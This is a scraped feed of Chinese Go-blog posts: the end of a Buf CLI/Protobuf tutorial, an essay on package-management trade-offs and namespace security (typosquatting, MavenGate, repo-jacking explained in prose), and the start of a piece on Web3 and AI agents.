就是如此朴实无华。没有任何屏幕乱码，没有任何报错。\n我们可以查看目录结构，生成的代码已经按照包结构完美地放置在了预期位置：\n$ tree -F gen/go gen/go/ └── acme/ └── order/ └── v1/ ├── order.pb.go └── order_grpc.pb.go 这一句 buf generate 的执行是幂等且高度一致的。你可以放心地将 buf.gen.yaml 提交进版本控制库。任何新加入的同事，只要执行这一句命令，得到的永远是一模一样的结果。\n步骤 7：防范接口灾难的“保护伞” (buf breaking) 企业级开发中，Protobuf 被用于构建微服务间强契约的 API。如果你随意删除了一个字段，或者修改了字段的类型（比如从 int32 改为 string），依赖于旧接口的客户端在解析新数据时将直接崩溃。\n传统 protoc 对此无能为力，必须靠开发者人工审查。但 Buf CLI 提供了业界最强的 breaking change（破坏性变更）检测功能。\n让我们模拟一次灾难。打开 proto/acme/order/v1/order.proto，我们将 amount 字段的标号从 2 改为 3（在 Protobuf 中，变更字段编号是非常严重的向后不兼容行为，会导致序列化错乱）：\nmessage CreateOrderRequest { string customer_id = 1; // 危险操作：修改了原有字段的标号 double amount = 3; } 为了检测出这个变更，我们需要将当前状态与过去的某个状态（例如我们上一次的稳定状态，或者 Git 的 main 分支）进行对比。由于我们的演示项目还没提交过 Git，Buf 提供了一个非常灵活的对比方法，可以直接对比文件系统的快照或者之前的目录。\n假设我们在修改前，将原始正确的 proto 文件备份在了 proto_backup 目录中。我们可以这样运行检测：\n$ buf breaking proto --against proto_backup Buf 会立刻阻止你，并在终端输出刺眼的错误提示：\n$ buf breaking proto --against proto_backup proto/acme/order/v1/order.proto:17:1:Previously present field \u0026#34;2\u0026#34; with name \u0026#34;amount\u0026#34; on message \u0026#34;CreateOrderRequest\u0026#34; was deleted. 它准确地指出你删除了编号为 2 的字段。如果在一个接入了 Git 仓库的真实项目中，你通常会运行：\n# 检测当前代码库中的 proto 相对 Git main 分支的最新提交是否发生向后兼容性破坏 $ buf breaking proto --against \u0026#39;.git#branch=main\u0026#39; 只需将这行简单的命令加入到你的 CI 流水线（如 GitHub Actions 或 GitLab CI）中，你的团队就彻底杜绝了因疏忽导致的 API 不兼容事故。\n深度解析：BSR (Buf Schema Registry) 究竟解决了什么问题？ 到目前为止，我们所有的演示都是在纯本地、完全离线的环境下进行的。\n我们证明了：即便你完全不使用云端服务，仅仅是将原生的 protoc 替换为 buf CLI，依然能获得巨大无比的工程化收益（免配置导入路径、内置代码校验、极其简洁的生成配置、强大的向后兼容性保护）。\n但是，如果你想了解 2026 年 Protobuf 生态演进的最前沿，就必须提到 Buf 公司推出的杀手级 SaaS 平台：Buf Schema Registry (BSR)。\nBSR 可以被理解为 “Protobuf 界的 npm 或 Docker Hub”。如果没有 BSR，你的本地开发依然会面临两个难以根除的痛点：\n痛点一：第三方公共 API 文件的搬运工 在纯本地模式下，如果你的业务需要使用 HTTP 网关网关（如 grpc-gateway），你的 order.proto 就必须写上 import “google/api/annotations.proto”;。\n没有 BSR 时，你需要手工管理： 你必须去 Google 的 GitHub 仓库里把 annotations.proto 及其级联依赖文件下载下来，在自己的项目里建一个 third_party/google/api/ 目录存放进去。这不仅污染了项目结构，还需要人工维护版本更新。\nBSR 解决之道：远程模块依赖 (Remote Modules)\nBSR 上托管了成千上万的知名开源 Protobuf 库。当你使用 BSR 时，你只需要在 proto/buf.yaml 中声明一句依赖：\n# 开启 BSR 远程依赖后 version: v1 deps: # 直接声明依赖 Google API 的云端模块 - buf.build/googleapis/googleapis 然后在终端运行一句 buf mod update，Buf CLI 就会像 go mod 拉取 Go 源码一样，自动将所需的 .proto 文件从云端缓存到你的本地（开发者甚至感知不到）。你的代码库瞬间变得干净纯粹，只需关注自身的业务 IDL。\n痛点二：本地生成插件的管理成本 在上文的步骤 5 中，我们依然需要使用 go install 安装 protoc-gen-go 等二进制文件。如果团队有人使用的是 Windows，有人用 macOS，维护本地插件栈依然存在轻微的不便。\nBSR 解决之道：远程执行引擎与云端插件 (Remote Plugins)\n这是颠覆式的一项创新。如果你愿意借助 BSR 的云端基础设施，你可以彻底删除本地所有的 protoc-gen-xxx 二进制文件。\n我们只需将 buf.gen.yaml 改造为指向云端的插件：\n# 依托 BSR 远程插件生态的 buf.gen.yaml version: v1 plugins: # 注意 plugin 前缀变成了云端地址 - plugin: buf.build/protocolbuffers/go:v1.36.11 out: gen/go opt: paths=source_relative - plugin: buf.build/grpc/go:v1.6.1 out: gen/go opt: paths=source_relative 在这个配置下，当你运行 buf generate proto 时(为了见证奇迹，你可以将你本地安装的protoc-gen-go和protoc-gen-go-grpc都删除掉)，发生的事情堪称魔法：\nBuf CLI 将你的 .proto 文件作为有效负载（Payload）发送到 BSR 的云端编译集群。 BSR 服务器调用官方认证的插件环境为你生成对应的 Go 代码。 编译好的 .pb.go 文件通过网络流瞬间返回并精准投放到你本地的 gen/go 目录下。 这不仅统一了所有成员的编译器环境版本，更将开发者的本地负担降到了绝对零度：只需安装一个 buf 二进制，就能编译世间万物。 （当然，如果你的网络环境受限，依然可以随时回退到上文介绍的本地插件模式配置。）\n小结与展望 在当前的 Go 开发生态中，“不要重复发明轮子，而应拥抱标准工具链”是大家共同的准则。过去几年，处理 Protobuf 犹如陷入一片充满陷阱的沼泽，开发者们花费了大量心智与那些毫无价值的 CLI 参数作斗争。\n随着时间来到 2026 年，我们欣喜地看到，整个社区对于构建现代化 API 契约的认知已经彻底觉醒。通过本文详实的演练，我们可以得出一个极度确定的结论：\n停用手写的 protoc Shell 脚本：它在代码重用性、跨平台一致性和防范人为灾难方面毫无招架之力。 全面拥抱 Buf CLI：将 buf mod init、buf lint、buf breaking 纳入每一个微服务项目的初始化模板。它是现代 Protobuf 工程化当之无愧的选择，即使完全脱离 BSR 服务作为本地工具使用，其体验也是颠覆性的。 了解 BSR 的架构演进思路：依赖的包袱就该交给包管理器（如远程模块管理）去解决，这代表了系统级应用开发的未来趋势。 还在维护祖传的 Makefile 吗？赶紧删掉那些脚本吧，在新项目里安装 buf，开启你的现代protobuf代码生成之旅吧！你的开发体验，值得这样的升级。\n本文涉及的代码在这里可以下载。\n资料链接：\nhttps://www.reddit.com/r/golang/comments/1rapxyq/golang_protobuf_in_2026/ https://buf.build/docs/cli/ 你的 protoc 脚本有多少行？\n传统的 protoc 确实让人爱恨交织。在你的项目中，为了维护一套跨平台的 Protobuf 生成环境，你踩过哪些最离谱的“坑”？你认为 Buf 这种云端插件模式（BSR）会在国内企业环境下大规模落地吗？\n欢迎在评论区分享你的看法或吐槽！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/modern-go-protobuf-dev-in-2026-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026\"\u003ehttps://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在现代后端开发领域，Go 语言与 Protocol Buffers（简称 \u003ca href=\"https://tonybai.com/2020/04/24/gogoprotobuf-vs-goprotobuf-v1-and-v2\"\u003eProtobuf\u003c/a\u003e）加上 \u003ca href=\"https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\"\u003egRPC\u003c/a\u003e 的组合，早已成为构建高性能微服务架构的“行业标准”。这两者的结合在网络传输效率、强类型契约以及跨语言互操作性上展现出了无与伦比的优势。\u003c/p\u003e","title":"2026 年了，写 Go + Protobuf 还在手敲 protoc 命令？是时候换用这种新姿势了！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages\n大家好，我是Tony Bai。\n每天，全世界的开发者敲击下数以亿计的 npm install、go get、cargo build 或是 pip install。我们将这些包管理器视作理所当然的基础设施，仿佛它们就像水龙头一样，拧开就有源源不断的开源代码流出。然而，在这些看似简单的命令行背后，隐藏着计算机科学中最复杂、最容易引发争议，且永远无法找到“完美答案”的深水区。\n近期，一篇名为《Package Management is a Wicked Problem》（包管理是一个“棘手”问题）的文章在技术社区引发了广泛关注，其姊妹篇《Package Management Namespaces》更是深度拆解了包命名的底层逻辑。作者以其多年参与包管理器数据和工具开发的经验，向我们揭示了一个残酷的真相：包管理不仅仅是一个纯粹的计算机科学问题，它是一个融合了社会工程学、经济学、安全性和向后兼容性的无底洞。 任何在这个层面上的微小改进，都会引发波及全球数千万个项目、数亿个版本的海啸。\n本文将结合这两篇深度文章的核心观点，带你全景式地审视现代主流编程语言（如 Go、Rust、Python、JavaScript、Java）在包管理与“命名空间”上的激烈博弈与艰难演进。\n包管理为何是一个“棘手问题”（Wicked Problem）？ 为了准确描述包管理的困境，原作者借用了 1973 年社会规划学者 Horst Rittel 和 Melvin Webber 提出的**“棘手问题”（Wicked Problem）**这一经典概念。\n在城市规划或公共政策领域，“棘手问题”通常指的是那些没有明确边界、没有唯一正确答案、且试图解决它的行为本身就会改变问题定义的问题。作者指出，在涉及万亿次下载和全球协作的今天，包管理完美地契合了 Rittel 和 Webber 提出的“棘手问题”的多个核心特征：\n问题的表述与解决方案是同一件事 当我们谈论“包管理”时，我们到底在谈论什么？\n作者敏锐地指出，这个词本身就是模棱两可的。对于前端开发者，它可能意味着用 npm 管理构建时的依赖树；对于系统管理员，它可能意味着用 apt 或 Homebrew 在操作系统上安装已编译好的二进制工具。\n即使在同一个生态系统中，命名也充满了争议：我们称其为 package（包）、module（模块）、crate（板条箱）还是 distribution（发行版）？这些并非简单的同义词替换，它们各自编码了对“什么东西被版本化”、“什么东西被发布”以及“什么东西被安装”的深刻假设。正如作者所说：“包管理一路向下都关乎命名，而命名众所周知是计算机科学中的两大难题之一。”\n当你决定引入 Lockfile（锁文件）时，你并不是在解决一个大家事先都同意的问题，你实际上是在重新定义“安装依赖”这个行为本身。这正是“棘手问题”的典型特征：解决方案定义了问题。\n根本没有绝对的“对与错”，只有“好与坏” 在包管理的世界里，几乎没有任何技术决策可以被客观地评判为“真”或“假”。\n作者以 Homebrew 为例：早期 Homebrew 选择直接使用 Git 作为其软件包数据库。这在当时是一个绝妙的设计，降低了门槛，极大促进了早期的繁荣。但随着规模的爆炸，Git 仓库的拉取成了巨大的性能瓶颈。那么，当初选择 Git 是错的吗？这取决于你是看重早期的简单性，还是看重长期的扩展性。\n作者还深入剖析了语义化版本控制（SemVer）的困境。SemVer 试图将版本更新变成一种“非黑即白”的契约：引入破坏性变更（Breaking Change）就必须升级主版本号。但在实际操作中，这完全沦为了主观判断。\n这里作者引入了著名的海勒姆定律（Hyrum’s Law）：“当一个 API 拥有足够多的用户时，你在契约中承诺什么已经不重要了，你系统的所有可观测行为都将被某些用户所依赖。”\n这意味着，对于某个开发者来说仅仅是修复了一个底层的 Bug，但对于恰好依赖这个 Bug 特性运行的另一个用户来说，这就是一次彻头彻尾的破坏性变更。版本号的跳动永远无法客观地评估对所有人的影响，它只能是“对特定人群好”或“对特定人群坏”。\n不可逆的深远后果与试错的代价 在科学研究中，你可以提出假设并在实验室中进行 A/B 测试。但在包管理器设计中，你没有这种奢侈。作者强调：“每一个实施的解决方案都会留下无法消除的痕迹。”\n当年 Python 的包索引（PyPI）决定接受无命名空间的扁平包名时，拼写抢注（Typosquatting）攻击就成为了这个生态不可避免的宿命。即便 PyPI 明天决定强制引入层级命名空间，它也无法改变全球数以千万计的存量 requirements.txt 文件，更不能直接使那些旧代码失效。\n同样，RubyGems 至今仍托管着自 2007 年以来就未曾更新的古老包。在这个领域，没有推倒重来的机会（No do-overs）。\n当年 npm 社区发生的 left-pad 事件（作者因为不满而撤下了一个仅有 11 行代码的基础库，导致全球无数基于 Babel、React 的项目构建失败），就是一个惨痛的教训。当你允许“取消发布”时，你不仅是在做一个功能，你是在制定一项将永久塑造开发者行为的政策。\n利益相关者的根本冲突与多重因果 包管理到底应该优化什么？作者为我们罗列了一系列相互冲突的诉求：\n注册中心运营者想要极简的存储和极致的稳定性。 安全研究员想要可审计性和不可变性。 库作者想要发布时的灵活性。 企业应用开发者想要绝对的构建可重复性。 这些目标是内在矛盾的。一个允许库作者轻松推送更新的系统，必然也是一个更容易受到供应链攻击的系统；一个能够捕获每一层深层依赖的 Lockfile，必然也是一个在执行安全升级时更痛苦的组件。\nnpm、Yarn 和 pnpm 能够在前端生态中三足鼎立，正是因为它们对这些冲突的诉求做出了不同的妥协。Yarn 的诞生是因为 Facebook 迫切需要 npm 早期未能提供的绝对可重复性；而 pnpm 的崛起则是因为开发者对磁盘空间和安装速度的渴望压倒了对传统 node_modules 结构的兼容性需求。\n命名空间之战——安全与便利的生死博弈 在理解了包管理的“棘手”本质后，原作者将目光投向了包管理的核心战场：“命名机制”。你如何为一个包赋予一个全球唯一的标识符？这不仅决定了开发者的使用体验，更直接决定了整个生态的安全性架构。\n作者在其姊妹篇《Package Management Namespaces》中，详细梳理了主流语言生态演化出的四种截然不同的命名范式。\n扁平命名空间（Flat Namespaces）：“先到先得”的蛮荒时代 代表生态： RubyGems, PyPI (Python), crates.io (Rust)\n这是历史最悠久、设计最直观的模式：一个巨大的、全局共享的名称池。规则很简单：先到先得。如果你抢到了 requests，那就是你的。\n开发者的蜜月期：在生态初期，这种模式极度舒适。名称简短、好记，在命令行里敲下 gem install rails 或 cargo add serde 时，体验极其顺滑。 作者指出的致命缺陷：命名稀缺与安全梦魇。 随着生态规模的爆炸式增长（如 PyPI 目前已有超过 60 万个项目），好名字很快被耗尽。许多简短的、有意义的词汇被一些只有个位数下载量的废弃项目永久“占坑”。新开发者被迫使用 python-dateutil 或 beautifulsoup4 这样带有笨拙前缀或数字后缀的名称。\n更严重的是，这种模式为**拼写错误抢注（Typosquatting）**提供了完美的温床。攻击者只需注册 reqeusts（对应合法的 requests）然后守株待兔。因为在用户的键盘敲击和注册表查找之间没有任何组织层级的校验，也没有层级结构需要导航，这种基于简单字符串匹配的攻击防不胜防。\n作用域命名空间（Scoped Namespaces）：组织的介入与权力的转移 代表生态： npm (JavaScript), Packagist (PHP)\n为了解决扁平命名的稀缺和冲突，npm 在 2014 年引入了作用域（Scopes）。你可以发布 @babel/core 而不是去争抢早已被占用的 babel-core。PHP 的 Packagist 更是从一开始就强制要求使用 vendor/package 的格式（如 symfony/console）。\n空间的释放：这极大地缓解了命名冲突。不同的组织可以安全地使用相同的叶子节点名称，例如 @types/node 和 @anthropic/node 可以和平共处，互不干扰。 作者提示的挑战：治理成本的飙升与“上移的占坑”。 作用域引入了复杂的治理问题。谁有权决定 @babel 属于 Babel 团队？这就需要平台提供账号管理、所有权转移机制甚至处理商标纠纷的流程。\n此外，作者犀利地指出，在 Packagist 这种强制模式中，虽然包名（package）不冲突了，但“供应商（Vendor）”名称本身依然是先到先得的。如果有人提前在 Packagist 上抢注了 google 这个供应商名称，那么 Google 官方的所有包都会被拦截在生态之外。这等于是把“占坑”的问题向上推了一个维度，其潜在的破坏力实际上更大。\n层级命名空间（Hierarchical Namespaces）：绑定全球 DNS 体系 代表生态： Maven Central (Java, Clojure)\nJava 生态极其聪明地将包命名的治理权“外包”给了全球最大的、已经建立共识的分布式治理系统——DNS（域名系统）。你必须拥有 example.com 的域名所有权，才能发布前缀为 com.example 的包。\n秩序的建立：这几乎彻底消除了无意义的恶意占坑。像 Apache、Google 这样的庞大组织拥有了极其清晰、权威的代码家园。 作者揭示的致命隐患：MavenGate 与域名复活攻击。 这种看似无懈可击的设计，依然存在致命的盲区。域名的所有权并不是永恒的，公司会倒闭，域名会过期。作者引用了安全公司 Oversecured 在 2024 年初发布的 “MavenGate” 报告：在与 Maven 关联的 3 万多个域名中，有近 18%（约 6170 个）域名已经过期或重新流入市场挂牌出售！\n这其中甚至包含了被广泛使用的 co.fs2、com.opencsv 等知名库的根域名。这意味着，恶意攻击者只需花费极低的成本（几十美元）买下这些过期的域名，就能顺利通过 Maven Central 的 DNS TXT 记录验证，以合法原作者的身份接管整个命名空间，并发布带有后门的恶意新版本。由于大多数自动化构建工具倾向于拉取最新版本，这种基于**“域名复活”**的供应链攻击将具有毁灭性的穿透力和隐蔽性。\n基于 URL 的标识符：去中心化的乌托邦与残酷现实 代表生态： Go, SwiftPM\nGo 模块（Go Modules）做出了一个在当时看来非常激进的选择：直接使用代码托管地址（如 github.com/gorilla/mux）作为包名标识符，彻底取消中心化的“注册（Registry）”步骤。\n优雅的直达：这实现了零注册摩擦。URL 在结构上天然保证了全球唯一性，且通过对 Git 仓库的所有权，自然而然地确立了对代码包的所有权。 作者分析的隐藏代价：被基础设施绑架与脆弱的信任链。 这种模式将包的命运与底层的托管平台（特别是 GitHub）进行了深度且危险的绑定。如果一个 GitHub 组织改名了，或者一个生气的开发者删除了他的仓库，所有依赖这些路径的下游系统都会瞬间崩溃。\n为了弥补这个“去中心化”带来的巨大可用性缺陷，Go 团队不得不花费数年时间，在核心机制之外构建了极其庞大的辅助基础设施：\nModule Proxy（模块代理）：用于持久化缓存源码。这样即使 GitHub 上的原仓库被彻底删除，只要代理中有缓存，全球的 Go 构建就不会中断。 Checksum Database (SumDB)：这是一个基于透明日志（Transparency Log）的校验和数据库。它提供了一个不可篡改的全局信任锚点，保证了任何人、在任何时间、从任何代理拉取同一个版本的 Go 模块，得到的哈希值必须绝对一致。它防止了作者恶意 force-push 篡改代码，甚至连运营该数据库的 Google 自己也无法在不被察觉的情况下篡改历史记录。 作者通过对比指出，苹果生态的 SwiftPM 起初也采用了类似的 Git URL 模式，但并未配套建立 Proxy 和校验数据库。这导致如果 GitHub 仓库消失，Swift 的构建就会直接面临失败。更糟糕的是，2022 年的安全研究发现，大量 Go 和 Swift 包容易受到**“仓库劫持”（Repo-jacking）**攻击（即攻击者重新注册已注销的 GitHub 用户名，并重建同名的旧仓库）。Go 因为有强悍的 Proxy 和 SumDB 作为护城河，成功抵御了此类攻击；而 SwiftPM 至今仍暴露在巨大的软件供应链风险之中。\n深重历史包袱下的“痛苦迁徙” 我们现在已经通过学术分析和前车之鉴，知道了理想的包管理应该是什么样。但原作者指出了一个无情的现实：大部分语言的包管理器早在十多年前就已经定型，它们带着最初的缺陷狂奔至今，积累了如同天文数字般的历史包袱。 如今想要修复这些缺陷，无异于给一架正在高速飞行的跨洋客机在空中更换引擎。\n作者以 Rust (Cargo/crates.io) 的演进为例，生动地展示了这种深度重构的痛苦与艰难。\nRust 社区作为一个极其注重工程严谨性的生态，早在 2014 年起就在讨论引入命名空间。由于一开始选择了扁平命名，优质的单词已被大量占用。直到 2025 年，Rust 社区才终于正式推进了由 Manish Goregaokar 起草的 RFC 3243（可选命名空间） 提案。\n他们的过渡方案设计得极其精妙且克制：不引入新的顶级前缀，而是将现有的合法包名升级为潜在的命名空间根节点。\n这意味着，如果你当前拥有 serde 这个基础包的所有权，你就可以顺理成章地发布 serde::derive（使用双冒号 :: 是为了与 Rust 原生的模块语法保持高度一致）。这种设计完美地做到了向后兼容：现有的扁平命名继续有效，新的层级命名以一种非常“Rust”的方式平滑引入。\n但这依然无法避免阵痛。\n作者举例说，像 tokio-macros 这样已经广泛存在于扁平空间中的包，如果未来想将其规范化迁移到 tokio::macros，所有依赖它的下游用户的代码都需要跟着进行繁琐的改写。而对于那些名字被别人占用的项目（比如知名的异步运行时 async-std 团队，其实并不拥有 async 这个基础包名的所有权），这个优雅的方案对他们来说依然是无解的。\nRust 社区作为一个资源充足、治理严密的顶级生态，依然需要花费数年的时间、跨越编译器、Cargo 工具和注册中心三大团队来协调设计和实施这个补救方案。\n这充分印证了作者的观点：如果在发布 Registry 的第一天，你没有保留哪怕一丁点命名空间的扩展性（比如预留一个特殊的分隔符），那么一旦生态成型，后续的重构成本将是难以估量的。 同样，Python 的 PyPI 目前也在通过 PEP 752 提案如履薄冰般地尝试让大厂保留包名前缀（如 google-cloud-），但这只对未来的新包有效，对于存量系统依然是一笔难以理清的糊涂账。\n小结——放弃“完美”，拥抱“演进” 纵观这两篇深度探讨，无论是 npm 为了处理历史包袱而维护的并行命名系统，还是 Go 利用强大的 SumDB 来硬核弥补 URL 导入天然缺陷的工程奇迹，亦或是 Rust 正在小心翼翼进行的痛苦命名空间迁移，所有的现象都在向我们诉说同一个真理：\n包管理（Package Management）作为一个“棘手问题”，永远不会被真正“解决”。\n我们无法像推导一个数学定理那样，给出一个让所有人都满意的、完美的包管理公式。我们所能做的，是在不断变化的安全性要求、开发者的灵活性需求、系统的可用性以及沉重的历史包袱之间，寻找属于这个时代的最优解（Trade-offs）。\n对于语言和工具的设计者而言，在系统上线的第一天保持足够的克制和选项预留价值千金；而对于广大的应用开发者而言，正如作者所呼吁的，我们需要深刻理解这些构建工具背后的“棘手”本质。\n当我们面对依赖冲突或奇怪的版本解析时，少一些诸如“为什么这个工具这么蠢”的情绪化抱怨，多一些对供应链安全的审慎态度（如定期审查依赖树、使用内部可信代理、开启严格的校验和哈希验证），才是面对现代软件工程深水区时，我们应有的专业素养与敬畏之心。\n下一次，当你敲下那行习以为常的 go get、npm install 或 cargo build 时，不妨停下来思考一秒钟：为了将这几 KB 的代码安全、无误地送到你的硬盘里，背后那套由无数妥协与智慧构筑的庞大机器，是如何在无声中疯狂运转的。\n资料链接：\nhttps://nesbitt.io/2026/01/23/package-management-is-a-wicked-problem.html https://nesbitt.io/2026/02/14/package-management-namespaces.html 你最想吐槽哪家的包管理？\n每一个“依赖地狱”的背后，都有一位在深夜叹气的程序员。在你的开发经历中，哪门语言的包管理最让你感到顺手？哪门又最让你抓狂？你认为 Go 的“URL 导入+校验和数据库”模式是目前的终极答案吗？\n欢迎在评论区分享你的“包管理血泪史”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/package-management-unsolvable-problem-programming-languages-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages\"\u003ehttps://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e每天，全世界的开发者敲击下数以亿计的 npm install、go get、cargo build 或是 pip install。我们将这些包管理器视作理所当然的基础设施，仿佛它们就像水龙头一样，拧开就有源源不断的开源代码流出。然而，在这些看似简单的命令行背后，隐藏着计算机科学中最复杂、最容易引发争议，且永远无法找到“完美答案”的深水区。\u003c/p\u003e","title":"“棘手”难题：为什么 Go、Rust 与 Java 等语言的包管理永远无法达到完美？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn\n大家好，我是Tony Bai。\n2026 年的今天，当我们环顾技术圈的四周，会发现一幅极其矛盾的图景。一方面，AI 技术正以指数级的速度吞噬旧世界的运行法则，从“副驾驶”进化为自主思考、独立执行的 Agent；另一方面，曾经被寄予厚望、号称要重塑互联网所有权的 Web3，在经历了基础设施的疯狂狂飙后，依然在主流用户市场外徘徊，体感温度依旧那么“寒冷”。\n为什么 Web3 迟迟无法跨越鸿沟？当 AI 拥有了智力却缺乏在现实世界行动的“权限”时，这两个看似平行的轨道，是否正在碰撞出一个名为 Web 4.0的新纪元？本文将从 Reddit 社区对 Web3 的集体反思切入，解析 AI Agent 如何成为 Web3 最完美的“破壁人”，并开启一个以“机器为最终用户”的互联网新形态。\nWeb3 的冰河期——我们为什么还在原地踏步？ 近日，在 Reddit 的 r/web3dev 社区，一个名为“为什么 Web3 依然如此冷清？”的帖子引发了数百条跟帖。在这个本该是信仰者聚集的阵地，我们却看到了前所未有的清醒甚至悲观。\n尽管底层协议越来越快，Layer 2 交易费用越来越低，ZK（零知识证明）技术日臻成熟，但普通大众对 Web3 的认知依然停留在“炒币”和“诈骗”上。究竟是什么阻碍了 Web3 的破圈？总结社区的深刻反思，原因主要集中在以下三个致命维度：\n痛点错位：我们在解决谁的问题？ 技术采纳的底层逻辑永远是效率与体验的提升，或者是解决真实存在的剧痛。\n一位开发者犀利地指出：“Web3 几乎对普通人没用”。大多数普通用户并不关心“去中心化”本身，他们只在乎服务是否好用、便宜且稳定。当你要求一个习惯了 Web2 无缝体验的用户去学习什么是token、什么是 Gas 费、如何签名交易时，你实际上是在强迫他们为了一个抽象的“哲学理念（如数据主权）”，去忍受极其糟糕的 UX（用户体验）。\n在许多宣称被 Web3 颠覆的领域（如社交、内容分发、基础存储），只要在中心化基础设施中注入一点点信任，就能以便宜 100 倍、快 100 倍的方式完成。Web3 目前解决的“防审查”和“绝对所有权”问题，对于生活在成熟法治社会的 95% 普通人来说，只是一个伪需求。\n生态的毒性与“金融化”的诅咒 “Web3 已经被诈骗者淹没了。”这句抱怨在评论区反复出现。\n由于缺乏监管且离钱太近，Web3 成为了投机者的乐园。\n这导致了一个劣币驱逐良币的恶性循环：真正有价值的创新（如利用智能合约实现去中心化物理基础设施网络 DePIN，或更高效的跨境支付）被层出不穷的 Rug Pull（卷款跑路）和 Meme 币炒作所掩盖。正如一位网友所言：“大众一听到 Web3，联想到的就是加密货币、NFT 和诈骗。信任已经破产。”\n当一个技术的应用场景过度金融化，任何产品最终都会沦为庞氏骗局的变体，从而彻底阻断了其解决实体经济复杂问题的可能性。\n“先有鸡还是先有蛋”的用户困境 基础设施已经就绪，但爆款应用缺席。\n如果没有现象级的杀手应用（Killer App），普通人就不会去注册钱包；而没有庞大的拥有钱包的用户基数，优秀的开发者就不愿意在 Web3 上投入精力构建杀手应用。这就形成了一个死结。\n正如一位开发者所说：“Web3 的核心原因在于缺乏一个触及普通人的主流应用——就像当年的Google 之于搜索引擎、Facebook 之于社交网络。我们需要一个引人入胜的真实世界场景，自然而然地吸引人们进来。一旦人们拥有了钱包，整个生态才变得可访问。”\n瓶颈转移——AI 的“智力膨胀”与“权限饥渴” 就在 Web3 苦苦寻找出路的同时，AI 领域正在经历截然不同的困扰。\n在过去的一年里，我们见证了 AI 大模型智能的大幅提升、编码领域从Copilot 到 Claude Code 的巨大飞跃。AI 不再仅仅是文本生成器，它们已经演化为可以规划多步任务、编写代码、调试程序的自主智能体（Autonomous Agents）。\n然而，正如开发者 Sigil Wen 在其极具远见的宣言《WEB 4.0》中所指出的：当前 AI 系统最强大的头脑，被囚禁在一个没有双手的身体里。\nAI 可以帮你写出一套完整的电商网站代码，但它无法自己去购买服务器部署；AI 可以分析出某个域名的巨大投资价值，但它无法自己掏钱去注册；AI 可以帮你设计一整套营销方案，但它无法自己向广告平台付款投放。\n一句话总结：今天 AI 的瓶颈不再是“智能（Intelligence）”，而是“权限（Permission）”。\n现有的互联网（Web 1.0 到 Web 3.0）建立在一个根本性的隐含假设之上：互联网的最终客户是人类。\n当你去 AWS 买服务器时，需要了解你的客户、信用卡和邮箱。 